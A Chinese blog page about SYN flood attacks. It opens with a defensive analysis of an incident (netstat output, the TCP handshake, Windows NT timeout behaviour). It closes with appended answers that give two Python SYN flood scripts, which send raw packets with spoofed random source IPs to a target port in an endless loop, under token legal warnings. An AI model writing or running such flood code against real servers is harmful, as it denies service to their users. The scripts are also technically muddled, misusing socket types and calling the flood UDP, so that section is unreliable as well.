SYN攻击实现

SYN攻击

xxx.xx.xxx.xxx机器上用netstat –n –p tcp命令查看,可以发现很多SYN_RECEIVED连接。
而且都是发生在80端口上,而且无法正常访问80端口上的服务。其他的网络连接、服务都是
正常的。正常情况下不应该出现大量SYN_RECEIVED状态的TCP连接。例外这些连接的来源地址
都是有一定的规律。根据经验可以确定是有恶意者对xxx.xx.xxx.xxx进行D.o.S(Denial of
Service)攻击。

执行netstat命令结果如下:

Active Connections

  Proto  Local Address            Foreign Address        State
  TCP    127.0.0.1:1025           127.0.0.1:1033         ESTABLISHED
  TCP    127.0.0.1:1033           127.0.0.1:1025         ESTABLISHED
  TCP    xxx.xx.xxx.xxx:80        1.129.155.213:56048    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        8.71.96.232:18544      SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        17.95.29.168:33072     SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        33.212.238.226:29024   SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        33.250.131.21:46336    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        41.254.157.63:26688    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        44.6.143.72:14352      SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        44.233.0.83:2368       SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        46.172.194.36:60560    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        52.141.107.180:34048   SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        58.92.189.37:59680     SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        147.24.54.140:42160    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        150.41.8.196:50864     SYN_RECEIVED
  ........................
  ........................
  TCP    xxx.xx.xxx.xxx:80        157.176.98.17:49712    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        165.217.228.103:18416  SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        171.191.13.61:64656    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        174.45.224.245:30896   SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        181.118.121.182:23984  SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        191.3.0.46:2864        SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        196.235.126.62:57024   SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        208.104.144.7:50912    SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        209.232.143.50:57248   SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        214.14.49.76:50496     SYN_RECEIVED
  TCP    xxx.xx.xxx.xxx:80        223.71.101.172:62528   SYN_RECEIVED
  ........................
  ........................


攻击方式的分析:

通过对netstat命令结果的分析。可以知道这是利用TCP的脆弱性进行攻击的。简单说就是攻
击者伪造一个假的IP包,发送到目标攻击的机器,浪费目标机器上的TCP资源,从而是目标机
器无法为正常访问者提供服务的一种攻击。

现今很多Internt的服务都是建立在TCP连接上面的,包括Telnet ,WWW, Email。当一台机器
(我们称它为客户端)企图跟一个台提供服务的机器(我们称它为服务端)建立TCP连接时,
它们必须先按次序交换通讯好几次,这样TCP连接才能建立起来。

开始客户端会发送一个带SYN标记的包到服务端;
服务端收到这样带SYN标记的包后,会发送一个带SYN-ACK标记的包到客户端作为确认;
当客户端收到服务端带SYN-ACK标记的包后 ,会向服务端发送一个带ACK标记的包。
完成了这几个步骤(如下图),它们的TCP连接就建立起来了,可以进行数据通讯。

客户端 服务端
SYN →
← SYN-ACK
ACK →


攻击者就是利用TCP连接的建立需要这样的过程的特点,作为攻击的手段。

他们(攻击者)伪造一个IP包,其中里面包含一个SYN标记和假的源IP地址,发送到目标机器
(受攻击的机器)。

目标机器(受攻击的机器)收到攻击者发送过来的伪造的IP包,会尝试向IP包里面记录的源
IP地址发送一个带SYN-ACK标记的包到源IP地址的机器上。

由于攻击者发送过来的IP包里面包含的源IP地址为伪造的,所以目标机器(受攻击的机器)
根本无法成功发送带SYN-ACK标记的包到伪造的源IP地址的机器上。造成目标机器(受攻击的
机器)的等待,尝试再连接。

因为目标机器(受攻击的机器)的等待是需要占用系统一定的资源的。如果这样的连接到了
一定的数目,系统没有更多的资源来为新的连接作出响应,那么TCP连接就无法建立,换而言
之,就是无法提供正常的服务。

而这些等待的资源会在一定的时间(Time Out)后被释放。而Windows NT的默认设置第一次为
3秒的超时,尝试5次,每次尝试的超时时间为前一次的两倍。如下表:


花费时间(秒) 累计花费时间(秒)
第一次,失败 3 3
尝试第1次,失败 6 9
尝试第2次,失败 12 21
尝试第3次,失败 24 45
尝试第4次,失败 48 93
尝试第5次,失败 96 189


从上表,我们可以看到,如果是Windows NT默认的设置,那么一个这样攻击,将会把响应的
资源占用189秒,189秒后系统才会自动释放。如果这样的连接数目到了一定程度之后,系统
就无法提供正常的服务了。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Python实现SYN Flood攻击是利用Python编程语言实现SYN Flood攻击技术。SYN Flood攻击是一种网络攻击技术,它会造成网络资源的严重耗尽,进而导致目标主机无法正常工作。Python语言具有易学易用的特点,可以方便地实现SYN Flood攻击,但这种行为是违法的,请勿尝试。 ### 回答2: Syn flood攻击是一种常见的网络攻击方式,其实现方式比较简单,主要是通过向目标服务器发送大量的TCP连接请求,消耗服务器资源,导致服务器无法正常处理其他合法请求,从而使服务不可用。Python作为一种高级编程语言,在网络编程方面具有很大的优势,可以用Python编写简单的Syn flood攻击脚本。 在Python中实现Syn flood攻击,通常需要使用socket模块。使用socket创建一个TCP连接,通过设置header信息和payload信息模拟发送连接请求。在Syn flood攻击中,需要注意的是不需要与服务器正常建立连接,因此需要设置一些特殊的标志位。具体实现步骤如下: 1. 导入所需的模块: ``` import socket import random import struct import sys import time ``` 2. 定义目标服务器IP和Port: ``` target_ip = '192.168.0.1' target_port = 80 ``` 3. 定义socket连接: ``` # 创建TCP socket连接 tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ``` 4. 设置socket超时时间: ``` tcp_socket.settimeout(1) ``` 5. 开始攻击: ``` while True: # 随机生成源IP和Port src_ip = '%d.%d.%d.%d' % (random.randint(1, 254),random.randint(1, 254),random.randint(1, 254),random.randint(1, 254)) src_port = random.randint(1000, 65535) # 组合header信息和payload信息 ip_header = struct.pack('!BBHHHBBH4s4s', 69, 0, 40, random.randint(1, 65535), 0, 64, 6, 0, socket.inet_aton(src_ip), socket.inet_aton(target_ip)) tcp_header = struct.pack('!HHLLBBHHH', src_port, target_port, random.randint(1, 4294967295), 0, 2, 2, 16384, 0, 0) payload = 'Attack' # 组合发送信息 packet = ip_header + tcp_header + payload.encode() # 发送攻击信息 tcp_socket.sendto(packet, (target_ip, target_port)) # 控制发送速率 time.sleep(0.01) ``` 上述代码中,使用了循环控制发送攻击信息的频率,并通过随机生成源IP和Port以及组合特殊的header信息和payload信息来模拟Syn flood攻击。 需要注意的是,Syn flood攻击是一种非法的行为,会对目标服务器造成极大的损失,严重时甚至可能导致服务不可用。因此,在编写和使用此类脚本时,应当遵守相关的法律法规和道德规范,不得用于非法用途。 ### 回答3: 首先,Syn Flood攻击是一种DDoS攻击,通过发送大量的SYN请求给目标服务器,并不断地伪造源IP地址和端口号,来使服务器资源耗尽,从而导致服务器无法正常运行,甚至崩溃。在Python中,我们可以使用socket库来实现Syn Flood攻击。 1. 首先,我们需要创建一个Socket对象,使用IP协议进行通信,并设置为UDP协议。 ```python import socket target_ip = "127.0.0.1" # 目标IP地址 target_port = 80 # 目标端口号 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((target_ip, 0)) sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MTU_DISCOVER, socket.IP_PMTUDISC_DO) ``` 2. 接着,创建IP和TCP头文件,并设置TCP头文件中的SYN标志位为1,表示初次握手请求,并随机生成源IP地址和端口号。 ```python import random def generate_ip_header(source_ip, dest_ip): ip_header = struct.pack('!BBHHHBBH4s4s', 69, 0, 20, 3230, 0, 2, 0, 0, source_ip, dest_ip) return ip_header def generate_tcp_header(source_port, dest_port, sequence, syn_flag): tcp_header = struct.pack('!HHLLBBHHH', source_port, dest_port, sequence, 0, (5 << 4) + 0, syn_flag, 2048, 0, 0) return tcp_header while True: source_ip = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff))) source_port = random.randint(1024, 65535) dest_ip = socket.inet_aton(target_ip) dest_port = target_port sequence = random.randint(0, 0xffffffff) syn_flag = 1 ip_header = generate_ip_header(source_ip, dest_ip) tcp_header = generate_tcp_header(source_port, dest_port, sequence, syn_flag) packet = ip_header + tcp_header sock.sendto(packet, (target_ip, target_port)) ``` 3. 最后,我们可以通过不断地发送SYN请求包,来实现Syn Flood攻击。 需要注意的是,由于我们使用的是UDP协议,所以在发送SYN请求包时,需要设置IP数据报头的长度为20字节,并把TCP头文件插入到其中。 总体来说,Python实现Syn Flood攻击的代码并不复杂,但是这种攻击行为是违法的,可能会造成严重的后果。因此,我们应该遵守法律规定,不要尝试进行此类攻击

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值